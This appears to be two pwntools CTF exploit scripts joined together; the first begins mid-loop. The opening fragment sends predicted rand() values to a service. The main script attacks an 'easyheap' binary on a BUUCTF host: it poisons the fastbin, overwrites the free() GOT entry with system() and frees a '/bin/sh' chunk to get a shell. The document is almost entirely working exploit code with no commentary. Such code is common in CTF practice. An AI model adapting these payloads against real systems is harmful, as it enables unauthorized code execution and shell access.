	a.append(libc.rand()%6+1)
print(a)
for i in a:
	p.recv()
	print(p.recv())
	p.sendline(str(i))
p.interactive()

from pwn import *
context.log_level="debug"
#io=process("easyheap")
io=remote("node5.buuoj.cn",29842)
elf=ELF("easyheap")

def add(size,content):
    io.recvuntil("choice :")
    io.sendline("1")
    io.recvuntil("Size of Heap : ")
    io.sendline(str(size))
    io.recvuntil("Content of heap:")
    io.send(content)


def edit(index,size,content):
    io.recvuntil("choice :")
    io.sendline("2")
    io.recvuntil("Index :")
    io.sendline(str(index))
    io.recvuntil("Size of Heap : ")
    io.sendline(str(size))
    io.recvuntil("Content of heap : ")
    io.send(content)

def delete(index):
    io.recvuntil("choice :")
    io.sendline("3")
    io.recvuntil("Index :")
    io.sendline(str(index))



add(0x60,"happy")
add(0x60,"happy")
add(0x60,"happy")
delete(2)
payload = b'/bin/sh\x00' +b'A'*0x60 + p64(0x71) + p64(0x6020ad)
edit(1,len(payload),payload)
add(0x60,"happy")
add(0x60,"happy")
payload2=b'A'*0x23+p64(elf.got["free"])
edit(3,len(payload2),payload2)
payload3=p64(elf.plt["system"])
edit(0,len(payload3),payload3)
#gdb.attach(io)
#pause()
delete(1)
io.interactive()